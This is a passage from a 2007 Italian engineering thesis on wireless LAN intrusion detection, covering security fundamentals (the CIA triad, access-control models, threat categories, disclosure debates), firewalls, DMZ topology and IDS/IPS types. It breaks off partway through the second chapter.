rilevamento intrusioni in wlan

ALMA MATER STUDIORUM - UNIVERSITA DI BOLOGNA

SEDE DI CESENA

SECONDA FACOLTA DI INGEGNERIA

CORSO DI LAUREA IN INGEGNERIA INFORMATICA

SISTEMI DI RILEVAMENTO DELLE

INTRUSIONI IN AMBIENTI DI

RETE LOCALE WIRELESS

Tesi di Laurea elaborata nel corso di:

Laboratorio di Reti di Telecomunicazioni L-A

Relatore

Prof. Walter Cerroni

Correlatore

Ing. Marco Ramilli

Presentata da

Marco Frison

Sessione II

Anno Accademico 2006/2007

Copyright c© 2007 Marco Frison <[email protected]>

Permission is granted to copy, distribute and/or modify this document under

the terms of the GNU Free Documentation License, Version 1.2 or any later

version published by the Free Software Foundation; with no Invariant Sec-

tions, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license

is included in the section entitled “GNU Free Documentation License”.

“If in physics there’s something you don’t understand,

you can always hide behind the uncharted depths of nature.

You can always blame God. You didn’t make it so complex yourself.

But if your program doesn’t work, there is no one to hide behind.

You cannot hide behind an obstinate nature.

If it doesn’t work, you’ve messed up.”

Edsger W. Dijkstra

Indice

Introduzione iii

1 Cenni di sicurezza dell’informazione 1

1.1 Definizioni: il paradigma C.I.A. . . . . . . . . . . . . . . . . . 2

1.2 Modelli implementativi . . . . . . . . . . . . . . . . . . . . . . 3

1.3 Inadeguatezza del paradigma . . . . . . . . . . . . . . . . . . . 6

1.4 Violazioni al paradigma . . . . . . . . . . . . . . . . . . . . . 7

1.5 Obscurity versus full disclosure . . . . . . . . . . . . . . . . . 9

2 Soluzioni di rete tradizionali 11

2.1 Firewall . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11

2.2 Intrusion Detection System . . . . . . . . . . . . . . . . . . . 14

3 Tecnologie di protezione per reti wireless 802.11 19

3.1 Wired Equivalent Privacy . . . . . . . . . . . . . . . . . . . . 19

3.2 Temporal Key Integrity Protocol . . . . . . . . . . . . . . . . 23

3.3 Wi-Fi Protected Access . . . . . . . . . . . . . . . . . . . . . . 24

3.4 Wi-Fi Protected Access 2 . . . . . . . . . . . . . . . . . . . . . 27

3.5 Sviluppi futuri: 802.11w . . . . . . . . . . . . . . . . . . . . . 29

3.6 Caso di studio: WLAN citta di Cesena . . . . . . . . . . . . . 30

4 Wireless IDS 33

4.1 Architettura . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34

4.2 Attacchi e contromisure . . . . . . . . . . . . . . . . . . . . . 40

ii INDICE

4.3 Il problema della localizzazione . . . . . . . . . . . . . . . . . 55

4.4 Kismet . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57

5 Verifiche sperimentali 61

5.1 Topologia della rete . . . . . . . . . . . . . . . . . . . . . . . . 61

5.2 Configurazione degli strumenti . . . . . . . . . . . . . . . . . . 62

5.3 Penetration test . . . . . . . . . . . . . . . . . . . . . . . . . . 65

Conclusioni 75

A Simple Injector - Sorgenti 77

B Wardriving - Note legali 83

C GNU Free Documentation License 85

C.1 Applicability and definitions . . . . . . . . . . . . . . . . . . . 86

C.2 Verbatim copying . . . . . . . . . . . . . . . . . . . . . . . . . 88

C.3 Copying in quantity . . . . . . . . . . . . . . . . . . . . . . . . 89

C.4 Modifications . . . . . . . . . . . . . . . . . . . . . . . . . . . 90

C.5 Combining documents . . . . . . . . . . . . . . . . . . . . . . 93

C.6 Collections of documents . . . . . . . . . . . . . . . . . . . . . 94

C.7 Aggregation with independent works . . . . . . . . . . . . . . 94

C.8 Translation . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95

C.9 Termination . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95

C.10 Future revisions of this license . . . . . . . . . . . . . . . . . . 96

Bibliografia 97

Introduzione

Tra le varie tecnologie senza fili a banda larga approdate sul mercato negli

ultimi anni nessuna ha avuto successo e rapida espansione quanto quelle ap-

partenenti alla famiglia IEEE 802.11; generalmente piu note sul mercato con

l’acronimo Wi-Fi queste tecnologie hanno saputo imporsi per diversi moti-

vi, essenzialmente riconducibili al basso costo dei dispositivi e alla notevole

semplicita di installazione ed utilizzo.

L’improvviso interesse verso le architetture wireless ha per lungo tempo

mascherato o quantomeno desensibilizzato gli utilizzatori sui rischi e sui pro-

blemi strutturali connessi a tali sistemi; in particolare il mantenimento di

una soglia accettabile di sicurezza e presto divenuto un fattore insostenibile

per le grandi societa e gli enti governativi che richiedono rigorose procedure

di controllo e standard certificabili.

Un susseguirsi di sempre nuove vulnerabilita facilmente sfruttabili e di ra-

pida automatizzazione ha convinto la Wi-Fi Alliance prima e il gruppo 802.11

poi della necessita di riprogettare interamente l’impalcatura di autenticazione

e protezione.

Sebbene enormi passi siano stati compiuti in questa direzione restano

ancora aperte numerose incognite legate intrinsecamente alle tecnologie wi-

reless: ripercorrendo le tappe evolutive del processo ingegneristico che ha

condotto ai piu moderni e recenti standard di sicurezza, questa tesi pone co-

me obiettivo lo studio delle problematiche di monitoraggio e rilevamento del-

iv Introduzione

le intrusioni in ambienti WLAN attraverso una panoramica degli strumenti

open-source oggi a disposizione.

Il primo capitolo accenna le basi della sicurezza informatica tramite

definizioni, modelli e formalismi generali.

Il secondo capitolo illustra le comuni soluzioni adottate nelle reti ca-

blate attraverso lo sviluppo delle nozioni di firewall, DMZ e IDS.

Il terzo capitolo introduce gli standard di sicurezza per ambienti WLAN,

esaminandone e commentandone le principali vulnerabilita.

Il quarto capitolo descrive dettagliatamente i Wireless IDS, delinean-

done l’architettura e discutendone le nuove problematiche; infine, come caso

di studio, e presentato Kismet, uno scanner/WIDS open-source.

Nel quinto capitolo e illustrata l’attivita sperimentale, volta a verificare

le attuali capacita di Kismet.

Prima di continuare e doveroso precisare come i termini “wireless”, “Wi-

Fi” e “WLAN” non siano sinonimi interscambiabili in quanto mentre il pri-

mo denota una qualsivoglia tecnologia senza fili (802.11, Wi-Max, Bluetooth,

UMTS, ecc...), il secondo e il terzo si riferiscono unicamente all’implemen-

tazione delle specifiche IEEE 802.11; ciononostante, essendo oramai comune

l’abuso di queste terminologie per indicare le sole tecnologie 802.11, anche

questa tesi ne fara, occasionalmente, un uso indistinto.

Marco Frison

Capitolo 1

Cenni di sicurezza

dell’informazione

Tra tutti i settori legati all’informatica la sicurezza dell’informazione e forse

l’unico rimasto ammantato da un velo di ombre e misteri che, ancora oggi, lo

rendono agli occhi dei piu non una vera e propria scienza, definibile formal-

mente e apprendibile tramite uno studio metodologico, ma piuttosto quasi

un’arcana arte acquisibile solamente tramite l’esperienza; questa visione, in

parte alimentata da fantasiose quanto imprecise produzioni cinematografi-

che, unita alla difficolta di formulare correttamente soluzioni al problema,

motiva la penuria, la giovinezza e la conseguente instabilita delle comuni

infrastrutture di sicurezza.

Nell’ultimo decennio l’esposizione di dati sensibili su sistemi informati-

ci ha subito un incremento impensabile e, in qualche modo, inaspettato; cio

pone l’urgente problema di ridefinire le conoscenze preesistenti in termini “in-

gegneristici”, inteso nel senso tradizionale di definizione formale di modelli,

metodologie e tecniche condivise ed analizzate globalmente dalla comunita

scientifica.

La definizione del concetto di sicurezza, per nulla univoco nel campo

2 Cenni di sicurezza dell’informazione

dell’informatica, e il nostro primo passo nel processo di sviluppo di quella

figura professionale che chiameremo “security engineer”, in virtu della ferma

volonta di rievocare le prassi operative dell’ingegneria.

1.1 Definizioni: il paradigma C.I.A.

In letteratura, ma in generale anche operativamente, i criteri fondamentali

per definire sicuro un sistema informativo possono essere riassunti in termi-

ni di confidentiality, integrity e availability (confidenzialita, integrita e

disponibilita) [1] [2]. Si osservi che le definizioni a seguire divergono legger-

mente da quelle espresse nei documenti di ricerca analizzati e rappresentano

una rielaborazione personale che puo essere vista come parte del contributo

originale di questo studio.

La confidentiality riguarda la necessita di rendere accessibili le risorse del

sistema ai soli utenti autorizzati e formalmente rappresenta l’esistenza di una

relazione binaria (true, false) 1-N tra ogni risorsa e il gruppo di tutti i pos-

sibili utilizzatori, inclusi quelli inattesi; al contrario di quanto generalmente

sostenuto non riguarda la capacita o meno di accedere in lettura al dato/ri-

sorsa ma piu intrinsecamente la possibilita di riservatezza riguardo l’esistenza

stessa dell’informazione.

La integrity esterna la capacita di garantire che la risorsa sia validabile,

cioe la definizione di una relazione ternaria tra le risorse, gli utenti e lo

spazio delle possibili operazioni; non solo include vincoli di consistenza su

modifica, cancellazione o altri accessi in scrittura ma anche la possibilita

di verificare l’origine dell’informazione; questo punto e inequivocabilmente il

nodo critico della struttura in quanto generalmente la fiducia di una sorgente

non e valutabile obiettivamente ma solo tramite assunzioni poste a priori.

La availability definisce la volonta di garantire, entro un tempo accettabi-

le, che l’utilizzo di una risorsa non sia mai negato ad un utente effettivamente

1.2 Modelli implementativi 3

autorizzato; stabilisce dunque una sorta di compromesso con le relazioni pre-

cedenti in quanto manifesta che la sicurezza di un sistema non influisca sul-

l’usabilita dello stesso da parte del personale autorizzato. Quest’assunzione,

indicando come requisito un “tempo accettabile”, puo limitare fortemente

la scelta delle tecniche implementative e condurre persino alla decisione che

un particolare rischio e accettabile o trasferibile (ad esempio per mezzo di

un’assicurazione).

Ricordiamo infine, a scanso di equivoci, come queste definizioni siano da

assumere nel modo piu generale possibile e non limitatamente ai concetti

informatici di hardware e software ma piuttosto dovrebbero essere rivolti a

tutti i settori coinvolti nel trattamento e nella gestione delle informazioni di

un’azienda o di un’organizzazione.

1.2 Modelli implementativi

A livello implementativo, tradizionalmente il paradigma C.I.A. e stato rias-

sunto in tre domande

Chi sei? Come ti riconosco? Che diritti hai?

che caratterizzano rispettivamente i servizi di identificazione, autentica-

zione e controllo degli accessi. Il lettore scrupoloso dovrebbe immediata-

mente intuire che queste considerazioni tralasciano il tema della availability:

cio e classicamente accettato in quanto quest’ultima attiene maggiormente,

ma in ultima analisi non esclusivamente, alle capacita infrastrutturali del si-

stema: ad esempio essa e generalmente trattata in termini di throughput,

latenza, banda disponibile, politiche di recovery, ecc...

I servizi di identificazione, spesso appaiati o confusi con quelli di auten-

ticazione, permettono di individuare l’utente tra quelli disponibili all’interno

del sistema. Sono molto varie le soluzioni adottate: semplici username, si-


stemi hardware come smart-card o pen-drive, soluzioni di riconoscimento

biometrico basati sulla scansione dell’iride o l’impronta digitale.

I servizi di autenticazione costituiscono la verifica successiva e accerta-

no l’identita collegandola ad un qualche genere di token, generalmente una

password ma anche impronte vocali o, come sopra, sistemi hardware o bio-

metrici. In questa fase e significativo l’utilizzo di tecniche crittografiche; ad

esempio i login, piuttosto che le password in chiaro, tipicamente confronta-

no i rispettivi hash one-way crittografici, derivati da uno specifico algoritmo

comune.

Il controllo degli accessi, l’ultima categoria di servizi elencati, e in assoluto

il tema piu delicato e per questo maggiormente studiato in ambito scienti-

fico; fondamentalmente tre sono i paradigmi possibili: DAC (Discretionary

Access Control), MAC (Mandatory Access Control) e RBAC (Role-Based

Access Control). La scelta del modello implica forti ripercussioni sul sistema

in termini di progettazione e prestazioni ottenibili e dovrebbe pertanto es-

sere eseguita solo dopo un’attenta analisi dei requisiti e valutando l’effettivo

grado di sicurezza richiesto.

Il paradigma DAC e sicuramente il piu diffuso e quello a cui siamo nor-

malmente abituati: e tipicamente la scelta di default sia nei sistemi Unix (e

derivati, BSD e Linux) sia in quelli della famiglia Microsoft Windows NT

(NT, XP, 2003 e Vista). Ciononostante regna molta confusione, anche nel-

l’ambito dei trattati di ricerca, sul preciso significato formale: difatti esso e

comunemente descritto come basato sul concetto di proprietario di una risor-

sa, sebbene la definizione originale [3] lo denoti come “un modo di limitare

l’accesso alle risorse basato sull’identita del soggetto e/o del gruppo a cui ap-

partiene”, ignorando completamente la nozione di proprietario che dunque

non costituisce un prerequisito ma solamente la piu comune scelta imple-

mentativa. In questi sistemi il termine Discretionary indica che il detentore

di un diritto su una particolare risorsa puo delegare ad altri utenti, anche

indirettamente, questo suo privilegio.

1.2 Modelli implementativi 5

I sistemi MAC, anch’essi formalmente definiti in [3], sono descritti come

un modo per limitare l’accesso alle risorse basato sulla sensitivita dell’infor-

mazione contenuta e da una formale autorizzazione del soggetto all’accesso

a informazioni di tale sensitivita. Questa asserzione implica che ogni risorsa

e preventivamente inserita in uno specifico contesto di sicurezza nel quale gli

utenti autorizzati possono eseguire un ristretto sottoinsieme di operazioni,

anch’esso predeterminato; tipicamente questo compito e eseguito dal secu-

rity administrator o security officer, l’unico a cui sono riservati i poteri di

amministrare i livelli di accesso e le operazioni consentite. Il punto focale del

modello e la possibilita di inibire particolari operazioni ad un utente anche

per risorse da lui stesso create e/o possedute: questo garantisce una robu-

stezza e un livello di granularita molto piu fine di quello permesso in una

architettura DAC in quanto l’identita del soggetto non e piu condizione ne-

cessaria e sufficiente ad eseguire una qualsiasi operazione sui propri dati ma

solamente condizione necessaria. Questo approccio, caro ai sistemi militari, e

stato analizzato e ha ispirato numerosi paradigmi, i piu famosi riconducibili

ai lavori di Clark-Wilson [4] e di Bell-LaPadula [5].

Nel corso degli anni sono nate molteplici implementazioni, in particola-

re si ricorda il progetto open-source SELinux [6] (Security-Enhanced Linux ),

inizialmente sviluppato come una serie di patch per il kernel Linux dalla NSA

(National Security Agency) e infine incluso direttamente nel mainstream (ver-

sione 2.6.0∼test3). SELinux aggiunge un valido, ma non esente da critiche

[7], strato MAC assieme ad alcune soluzioni RBAC.

L’approccio RBAC rappresenta un’alternativa relativamente nuova e sem-

pre piu apprezzata non solo in ambito accademico ma anche in campo com-

merciale. Questi sistemi hanno acquistato grande vigore verso la fine degli

anni ’90 quando brillanti ricerche [8] dimostrarono che la nuova metodologia

non poteva ricadere nelle precedenti categorie come un loro sottoprodotto.

La potenza del modello supera i concetti dei paradigmi DAC e MAC intro-

ducendo l’astrazione di “ruolo”, capace di spezzare il legame tra utenti e

permessi mediando tra essi.


Figura 1.1: Schema di controllo RBAC

La Figura 1.1 illustra come il rapporto tra utenti e permessi sia sostitui-

to in favore di due nuove relazioni “many-to-many” (N-M) tra gli stessi e

l’interposto strato dei ruoli. Questa ripartizione, sorprendentemente banale

nella societa umana, rappresenta un cambiamento sostanziale in quanto eleva

arbitrariamente la granuralita e l’approccio del least privilege apportabile al

sistema; inoltre e intuitivamente applicabile ricorsivamente a piu livelli, ad

esempio in caso si debbano gestire enormi volumi di ruoli, utenti e permessi.

Data la sua giovane eta questo criterio e ancora poco diffuso nel set-

tore dei sistemi operativi mentre e da tempo l’implementazione standard

per la maggior parte dei DBMS in commercio, tra cui citiamo Oracle e

PostgreSQL; piacevole eccezione a quanto appena argomentato e grsecurity

[7], fruibile come patch per il kernel Linux, mentre soluzioni ibride MAC-

RBAC sono disponibili in FreeBSD, Trust Solaris e tramite il gia citato

SELinux.

1.3 Inadeguatezza del paradigma

Giunti a questo punto ha senso, o meglio e necessario, domandarsi che li-

vello di sicurezza garantiscano questi modelli. Nessuno. Una risposta tanto

immediata quanto raggelante. Nessuna assicurazione puo essere formulata

1.4 Violazioni al paradigma 7

in termini di safety, nessuna verifica di “buon comportamento” e di per se

predicibile. Citando uno splendido documento di Bruce Schneier [9]:

...

Security is a process, not a product. Products provide some protection, but

the only way to effectively do business in an insecure world is to put

processes in place that recognize the inherent insecurity in the products.

...

Riconoscere la sicurezza come un processo significa attribuirle proprieta di ge-

stione e certificazione tipiche di quest’ultimi: gli studi qualitativi prevedono

difatti un miglioramento asintotico frutto di un rapporto qualita/prezzo sta-

tisticamente valutabile a priori in sede di analisi. Un risultato importante con

gravi implicazioni teoriche e pratiche: l’assunzione definitiva e irrevocabile

del worst case, il caso peggiore. Il nostro sistema e vulnerabile, potenziale

vittima di aggressioni. Chiunque affermi il contrario e inequivocabilmente

un dilettante.

1.4 Violazioni al paradigma

Incapaci di realizzare un sistema realmente sicuro, desideriamo concetrare

l’attenzione su una catalogazione formale dei rischi e delle minacce come

violazione dei fondamenti della sicurezza descritti in sez. 1.2, senza, vice-

versa, soffermarci sulle possibili e discutibili classificazioni degli aggressori.

Distinguiamo tra sniffing, data alteration, spoofing e denial of service.

Il termine sniffing indica i pericoli connessi all’intercettazione non auto-

rizzata, evidente violazione del principio di confidentiality; puo essere perpre-

tata nei modi piu vari, fisicamente (wiretapping) o a lunghe distanze. Con-

tromisure tipiche risiedono nell’utilizzo di tecnologie crittografiche, applicate

a uno o piu layer del protocollo TCP/IP (data-link, network e/o transport

nella maggioranza dei casi).


Data alteration denota i rischi relativi all’esposizione ad attacchi in-

dirizzati alla modifica non autorizzata di dati e informazioni, infrangendo il

concetto di integrity. In questa ampia categoria sono contenute alcune delle

tecniche piu note ed eleganti descritte in letteratura. Ad esempio i cosiddetti

buffer overflow, derivanti da un mancato o errato controllo sulla dimensione

dell’input in ingresso ad un buffer, consentono di modificare arbitrariamento

il flusso di controllo del programma per eseguire comandi non permessi (ge-

neralmente una shell di root). Soluzioni per evitare questo tipo di minacce

risiedono nella verifica dell’integrita dei dati tramite operazioni di parsing

degli input e monitoraggio dei files sensibili.

Con spoofing si intendono tutte le attivita volte al mascheramento della

propria identita con lo scopo di aggirare i controlli preposti a garantire con-

fidentiality e integrity delle informazioni. I possibili attacchi riconducibili a

questa categoria trascendono dalla sola informatica, estendendosi al campo

della psicologia umana tramite le raffinate discipline di social engineering.

Notoriamente l’essere umano e prono a raggiri causati da scarsa competenza

o ingenuita; come una robusta cassaforte e un debole palliativo per un ladro

a cui abbiamo consegnato la chiave, allo stesso modo le precauzioni prese per

il nostro sistema risultano vane se la segretaria, ingannata da false creden-

ziali e/o bella presenza, comunica a terzi le password aziendali. In realta e

il medesimo atteggiamento che permette la rapida diffusione di virus, worm,

dialer e simili programmi malevoli.

In ambito puramente informatico lo spoofing si sviluppa in ogni livello

del protocollo TCP/IP, sino allo strato applicativo; ad esempio il phishing,

oggigiorno molto comune, prevede l’utilizzo di siti web fittizi simili nell’aspet-

to a quelli originali con l’intento di indurre l’utente a comunicare a soggetti

esterni i propri dati personali, quali password e numeri di carte di credito.

Particolarmente subdola, infine, la classe di attacchi riconducibile al man

in the middle, situazione in cui l’aggressore si interpone a due interlocutori

presentandosi a ciascuno di essi come il corrispettivo.

1.5 Obscurity versus full disclosure 9

Ostacolare queste minacce e particolarmente complicato e prevede sostan-

zialmente la capacita di assicurare efficaci servizi di autenticazione, tanto nel

dominio informatico quanto in quello umano; pertanto una saggia politica di

sicurezza dovrebbe includere periodici corsi educativi, obbligatori per tutti

gli utenti.

Per concludere, i denial of service (DOS) aggrediscono il presupposto

di availability, ritardando o bloccando l’utilizzo delle risorse. Generalmen-

te sono perpetrati inondando il bersaglio con quantita di traffico ingestibili,

spesso ricorrendo all’utilizzo di insiemi di host gia violati (gergalmente mac-

chine zombi) per realizzare offensive Distributed DOS (DDOS). Per quanto

contenibili progettando accuratamente la propria infrastruttura, non esisto-

no reali contromisure ad ogni scenario: per quanto elevata, la propria banda

sara sempre superiormente limitata.

1.5 Obscurity versus full disclosure

Discutiamo infine, brevemente e senza addentrarci nei dettagli, le diverse

strategie di security through obscurity e di full disclosure

Security through obscurity e una corrente di pensiero basata sul princi-

pio di segretezza, in termini di design, implementazione e manutenzione del

software: le vulnerabilita, eventuali o realmente esistenti, non sono divulgate

al pubblico nella speranza che gli aggressori non ne giungano a conoscenza.

Questa convinzione, notoriamente smentita dai fatti, e abitualmente applica-

ta in ambito commerciale e militare ma aspramente criticata dalla comunita

open-source che la ritiene una comoda scusante ai tempi spesso intollerabili

di aggiornamento e revisione del software.

Contrapposta alla precedente, full disclosure e una diffusa metodologia

che richiede la completa divulgazione al pubblico di ogni vulnerabilita, in-

clusi i dettagli per la rilevazione e l’exploit della stessa. La teoria fondante


prevede che questo atteggiamento porti a correzioni piu repentine perche gli

autori del software sono costretti a rispondere celeramente per mantenere la

credibilita del proprio prodotto; cio generalmente riduce la finestra di espo-

sizione all’attacco.

L’origine risale formalmente ad un articolo del 1853 [10], a cura di A. C.

Hobbs, sull’opportunita che i difetti delle serrature rimanessero confinati alla

comunita dei fabbri. Da allora numerosi sono stati i consensi; in particolare

nel campo della crittografia il concetto e riassunto nella legge di Kerckhoffs.

Kerckhoffs 1.1 A cryptosystem should be secure even if everything about

the system, except the key, is public knowledge.

Varianti a quest’atteggiamento prendono il nome di responsible disclo-

sure, per cui si ritiene lecito informare preventivamente gli sviluppatori e

rilasciare al pubblico la vulnerabilita solo a correzione avvenuta e comunque

non oltre un tempo massimo di quindici-trenta giorni.

Questa modalita di procedere non e tuttavia esente da critiche; in par-

ticolare gli oppositori sostengono che rilasciare dettagli e tools dedicati a

sfruttare le falle permetta un incontrollabile proliferare di attacchi anche da

parte di curiosi e/o inesperti.

Capitolo 2

Soluzioni di rete tradizionali

Nella teoria classica sono state fornite molteplici e piu o meno valide soluzioni

alle problematiche di sicurezza; focalizzandoci sull’ambiente di rete, analiz-

ziamo le tecniche adottate prima dell’avvento delle tecnologie senza fili allo

scopo di comprendere i postulati da cui diparte il loro funzionamento. Nel

capitolo 4, in ambito WLAN, invalideremo questi assiomi e affronteremo le

nuove impreviste difficolta.

2.1 Firewall

In una prima affrettata descrizione, un firewall e semplicemente un siste-

ma hardware o software capace di filtrare il traffico di rete; in realta que-

sti apparecchi si sono gradualmente sviluppati sino a comprendere gli strati

applicativi superiori al livello di trasporto.

La nozione di firewall e ufficializzata in un documento del 1988 redatto

presso la Digital Equipment Corporation (DEC) [11] in cui e illustrato un

primitivo analizzatore di pacchetti; questo rudimentale programma limitava

le proprie considerazioni all’indirizzo sorgente e destinazione, al protocollo e

alla porta associata, cioe ai dati ottenibili ispezionando il singolo pacchetto.

12 Soluzioni di rete tradizionali

L’atteggiamento descritto, caratterizzante il primo periodo, individua una

categoria di firewall detti stateless, ossia incapaci di osservare il traffico

dati in termini di flussi di pacchetti correlati tra loro.

Questa nuova abilita identifica i sistemi stateful, frutto della collabora-

zione di Dave Presetto, Howard Trickey, e Kshitij Nigam presso gli AT&T

Bell Laboratories. La seconda generazione e idonea a prevenire maggior tipo-

logie d’attacco proprio in virtu della possibilita di analizzare le connessioni

logiche come progressioni ordinate di pacchetti. Ad esempio un “SYN flood”,

ingegnoso DOS (vd. sez. 1.4) che tenta di saturare le risorse della vittima

tramite sequenze incomplete di hand-shake TCP, e rilevabile solo a patto di

mantenere traccia dello stato del traffico di rete.

Verso la meta del 1991 Marcus Ranum concretizzo i suoi studi teorici,

condotti assieme Bill Cheswick e concorrentemente a Gene Spafford, in un

prodotto di nuova concezione, appartenente alla categoria oggi nota come

application layer firewall o proxy based firewall. L’estensione ai mag-

giori protocolli applicativi, ad esempio HTTP, SMTP, FTP e DNS, permette

l’individuazione di piu complessi e mirati attacchi e/o abusi; inoltre queste

soluzioni generalmente prevedono l’integrazione con software IDS/IPS, di cui

discuteremo in sez. 2.2.

A qualunque categoria sopra citata appartenga il proprio firewall, esso e

inefficace se dislocato erroneamente. A tal scopo, evitando esempi banali di

intranet sprovviste di macchine server, introdurremo la piu diffusa e classica

topologia di rete descritta in letteratura.

La Figura 2.1 mostra una network aziendale schematicamente partizio-

nata in due rami: la rete interna, utilizzata per cablare uffici e simili am-

bienti di lavoro, e una seconda sezione notoriamente conosciuta come DMZ

(De-Militarized Zone, gergalmente “zona smilitarizzata” o, per associazio-

ne d’idee, “zona insicura”), impiegata per i server che necessitano di essere

raggiungibili dall’esterno.

2.1 Firewall 13

La suddivisione non e solo una pratica utile per separare entita concet-

tualmente distinte ma piuttosto un efficace meccanismo per diversificare le

politiche di controllo e filtraggio del firewall. In particolare, come esplificato

dalle freccie, mentre la DMZ puo accettare richieste e stabilire connessioni

in entrambi i versi, la rete interna e totalmente schermata e irraggiungibile

sia dall’esterno sia dalla DMZ stessa, a tutelare che eventuali vulnerabilita di

un server in quest’ultima si riflettano in possibili aggressioni alla rete interna

stessa.

Figura 2.1: Topologia di rete con DMZ

Ovviamente tale stile topologico, qui esemplificato in una ripartizione a

due sole dimensioni, e esportabile e scalabile a esigenze notevolmente piu

complesse; quali che siano, gli esperti concordano sull’importanza di im-

plementare un firewall e difatti oggigiorno sono presenti come componen-

ti base in tutti i maggiori sistemi operativi. Per la loro ampia diffusio-

ne ricordiamo Windows Firewall, introdotto con Microsoft Windows XP, e

Netfilter/Iptables, integrato nel kernel Linux dalla release 2.4.


2.2 Intrusion Detection System

Nella sez. 1.3 abbiamo assiomaticamente stabilito l’impossibilita di garanti-

re la sicurezza del nostro sistema. Questo comporta la ricerca di soluzioni

ortogonali al problema: se le intrusione di soggetti esterni non sono scongiu-

rabili deve quantomeno sussistere un meccanismo che permetta di tracciarle,

circoscriverle e assicurare il rapido intervento atto a correggere la falla e

quantificare e/o qualificare il danno subito.

Tale automatismo, impeccabile dal punto di vista logico, in realta presen-

ta molteplici difficolta realizzative. Infatti se un aggressore ottiene privilegi

di tipo amministrativo e tipicamente in grado, a meno di stringenti politiche

MAC-RBAC, di aggirare, sospendere e alterare l’attivita di qualsiasi proces-

so di controllo e registrazione degli eventi al fine di mascherare le proprie

tracce.

Partendo da questa assunzione, gli IDS sviluppano la propria attivita

cercando di rispondere alle domande

Cosa cerchi di fare? Perche?

in maniera complementare a quanto evidenziato dal paradigma C.I.A. Cio e

possibile ipotizzando che il comportamento di un intruso differisca sensibil-

mente rispetto a quello degli utenti autorizzati; e ovviamente una discutibile

semplificazione ma i dati sperimentali permettono generalmente di avallarla.

Una nota prima di proseguire: un IDS non sostituisce i precedenti processi

di sicurezza ma e piuttosto adibito a scoprire un loro fallimento. Questa preci-

sazione, ripresa con varie modalita in qualunque testo, vuole essere un monito

a tutti quegli impreparati addetti ai lavori che svolgono con superficialita la

loro mansione.

2.2 Intrusion Detection System 15

2.2.1 Tipologie

La letteratura presenta svariate differenti classificazioni per i sistemi anti

intrusione; noi ne forniremo una panoramica sommaria, rimandando ai nu-

merosissimi e talvolta contrastanti documenti presenti in rete per ulteriori

approfondimenti.

Una delle piu comuni generalizzazioni distingue tra due macro categorie,

misuse-based e anomaly-based detection.

Un approccio misuse-based, similarmente ai software antivirus, indivi-

dua le attivita sospette tramite il confronto con un catalogo preesistente di

signatures, associate ad attacchi di cui si conoscono pattern caratteristici e

costanti. Questo correla l’abilita di riconoscimento e il numero di falsi positivi

(allarmi generati in reazione ad azioni lecite) alla qualita e alla tempestivita

degli aggiornamenti delle signatures stesse. Il principale svantaggio e, vice-

versa, l’incapacita di rilevare aggressioni realizzate con tecniche sconosciute

o di cui ancora non si e definita una impronta.

Una soluzione anomaly-based, al contrario, basa la propria efficacia su

considerazioni di tipo statistico, riportando all’attenzione dell’amministrato-

re le attivita che non rientrano nel normale atteggiamento degli utenti sot-

toposti a controllo. Sebbene cio permetta di rilevare anche attacchi ancora

sconosciuti e non necessiti di continui aggiornamenti, e fondamentale formu-

lare correttamente il modello comportamentale e sottoporrlo a lunghe fasi

di apprendimento. Inoltre tali sistemi sono tragicamente propensi a fornire

enormi quantita di falsi positivi.

A causa della difficolta nel definire modelli sufficientemente generali gli

IDS commerciali sono in larga maggioranza misuse-based; tuttavia, pre-

valentemente in ambito accademico, proseguono floridi studi su tecnologie

anomaly-based e strategie ibride, desiderabile compromesso tutt’ora in stato

embrionale.


Un ulteriore importante modalita di differenziazione e tra IDS host-

based e network-based.

I sistemi host-based sono adibiti al controllo di una singola postazione e

tipicamente realizzano le proprie funzionalita attraverso i servizi di monito-

raggio e logging messi a disposizione dal sottostante sistema operativo. Ad

esempio il kernel Linux espone una serie di hooks (lett. “uncini” o “ganci”)

ai quali i programmi interessati possono agganciarsi per tracciare chiamate

di sistema, cambi di contesto e di privilegi, ecc...

I sistemi network-based, diversamente dai precedenti, supervisionano

una o piu sottoreti, catturando e analizzando i flussi di pacchetti tramite

l’utilizzo di sniffer. Il piu immediato vantaggio e la possibilita di proteggere

con relativamente pochi dispositivi, o sensori, anche reti decisamente ampie.

In aggiunta lo sniffer opera passivamente, impostando la scheda di rete in

una particolare modalita detta promiscua che ne disabilita le capacita di tra-

smissione; questo ne rende estremamente difficile, sebbene non impossibile, il

rilevamento a soggetti esterni. D’altro canto questa soluzione e inefficacie in

praticamente tutti gli attacchi inseriti in un contesto crittografico (ad esem-

pio tramite HTTPS o VPN) in quanto il traffico coinvolto non puo essere

esaminato; inoltre, per quanto prestante, la macchina adibita a tale funzione

ha un carico massimo superato il quale perde la propria efficacia.

Da anni disponibili sia in ambiente commerciale che in ambito accade-

mico, ne esistono soluzioni sia operanti on-line, generalmente impiegati per

analizzare in tempo reale pacchetti a campione, che offline, utilizzati per

verifiche complete e dettagliate a posteriori.

Infine, nei settori di ricerca, sono allo studio sistemi distribuiti di sen-

sori intelligenti. Queste architetture evolute, modellate sul paradigma ad

agenti, operano una serie di “scremature” sui dati prima di ritrasmetterli a

uno o piu server centrali adibiti alla correlazione e valutazione. Torneremo a

considerare questo approccio nel corso del capitolo 4.

2.2 Intrusion Detection System 17

2.2.2 Controllo e prevenzione: IPS

Nell’ideologia corrente spesso si tende ad eleggere implicitamente i software

IPS (Intrusion Prevention System, denotati anche IDS in-line) come natu-

rale evoluzione del concetto di Intrusion Detection. Se dal punto di vista

puramente formale cio e condivisibile, in quanto mantiene inalterato il con-

cetto di controllo riducendo la necessita di interventi umani, questo modello

mina fortemente il criterio di availability discusso in sez. 1.1. Difatti un

aggressore esperto, intuita l’esistenza di un IPS, potrebbe facilmente indurlo

con falsi attacchi a provocare Denial-Of-Service su settori della rete da esso

stesso protetta. Inoltre la sua adozione introduce un ulteriore singol point

of failure, un collo di bottiglia determinato dalla necessita di esaminare

tutto il traffico in real-time.

Queste problematiche hanno diffuso una certa diffidenza e, di fatto, li-

mitato la diffusione di applicativi IPS. Un’eccezione notevole e il comparto

militare, i cui successivi studi hanno condotto a sistemi reattivi adibiti al con-

trattacco dell’aggressore. Ufficialmente smentiti, hanno trovato nel Patriot

Act [12] una legale autorizzazione.

In conclusione una fugace riflessione sulle tecnologie descritte: al lettore

